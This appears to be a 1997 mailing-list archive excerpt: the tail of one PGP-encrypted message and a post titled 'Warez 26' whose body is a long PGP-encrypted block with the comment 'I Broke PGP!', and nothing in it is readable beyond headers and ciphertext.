VhCGg7Ih6n77dOypJmwnTHLuYIi4fA00A2WZBDL/O81Vv5Q6yAMdfmUzzZhdVhLm
Z8tkHYoo84xYa80STLnPwdP+z5dX/nZ3Rp2k835xXGOrzsPfdcJSV3J4A9k3TcqD
Ck8sJ+rEqLbiUe0/MSAy67M6mU9w2waub4A1ubihD7ub9swCYTXRmy+47EyBctz3
84jMO2IFiYspzpDAymiUdhm8VLqvxd4HfXyow623Oudgdef+Hfok2nloLjfeSrbz
XGeFbxjA3tQ9xbG5ItogAAW4mf0tcz6npMdvmGLj0BJe7ozmlS545xf3bJ28UoYS
2/P2D2uWeVyizGasUyljiXLwntGTN4xHpxYMnyzbng3Y3HoVvQRbefmUwTN/0rZC
ZFIfF8IobaaXCgloqvGTbZ3lfxjWjP7JVJZcbMEAxitjWg5rZqdIaooms9rKkY9x
6sEyFykUZ0m+pwytb3WbyMgi9s/9YtafMsXCxihb26UXQovLxb5Y7gcfrwgc3a5U
1NGRw0FVOxEtGsus6xLS72vm8ObRNOciooK7vnu+LN9UXXY70JAJ9XfWbb7+JKDW
FCzOIltVuWQBW5n1qpE+nls8E+2mY8xsvO88FF5spv5gSJdBdri39TeKqLZt4wxk
GxWmsjnDnnJ0sE1zBjJDTLixfUjBWbXJ1mqq+iE2KttuzhzU/ATKTMhKRdTVBIlU
q12XxKXaSv5dIIiYBUu9RdlTMjljuvpzyJ+LWw49k3hwfcwBFHQle9nH0DtUdjmB
2s8uC8GKrHkN70ZIY9hAP7pgjHCcH8F59vJ4V7XcACoCQdaOpEXHYh3UDKuEAxDv
cXokV2sgbcxJ+InMOMy0DVwcMG+DXoeTUDEeL/xdcOmPfwI5F+I8Hr1n7toL7+7C
J+vbdrY7bIz0Y96tWZ7Gtbpxau5j1bgeO5oUe8zLbMHIOic22fhFOOm4UCV9ysKV
HDLb6RqkQAjv8amQj+9d+guVNzuSxufkCjtiVCDI8iQkGXU3V9VmIzU9g+rnB++b
9gC37IMyxlB0yzEEK4Cf2iTCRS7J1yEtsjPE7VS9gIp4BbEwb2WvqxrYM85nqBEs
wq0SbBmN4BiwW3VXqjQgzOb0THLeppQGRhG+bH1M8n6Wlu+CrtiKxzewyQagAT55
sixPpD1aUrprVxNs6AOaQSI5ULZHx2tn+RpOHo6vtci5LUEUFCO8rCO8TdNWgwP1
7JiCOP0rjBwb5hCzgpxb+/UySLlcGmJmC9v6llVVpJNcQkbn4ON5/ZVtQRazZKwz
/TIJTlxhKlgXgKPlRMd2Fk7ogmNicfprwuLj2mmjOeL+1dUPRlXYfEySFHY/fnGJ
/CB3b4pFoPpnAKV7HN37W0UVNBOkFHhPQkOcBDrAs6ROY/eSUphYN/DYYKRETziO
g5pdxTvj9ASMuBiv+pcVh0W0pZruP939YOsWeX1+c0qqRlwOeU8cKvgdk15F3y2V
I3o9Hz4NBhD8GT1T/fcZk7jN26+whjrYN1H45G1tazoqIjrwWa1YUVmjmjs66iYr
1cxdHMAaYqUnEKMdFatFRu2XacqPk8O2uR1I
=jo7h
-----END PGP MESSAGE-----




From hg-p at dev.null  Thu Dec 18 01:51:29 1997
From: hg-p at dev.null (Human Gus-Peter)
Date: Thu, 18 Dec 1997 17:51:29 +0800
Subject: Warez 26
Message-ID: <199712180939.DAA22312@harrier.sasknet.sk.ca>




-----BEGIN PGP MESSAGE-----
Version: PGP for Business Security 5.5
Comment: "I Broke PGP!"

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
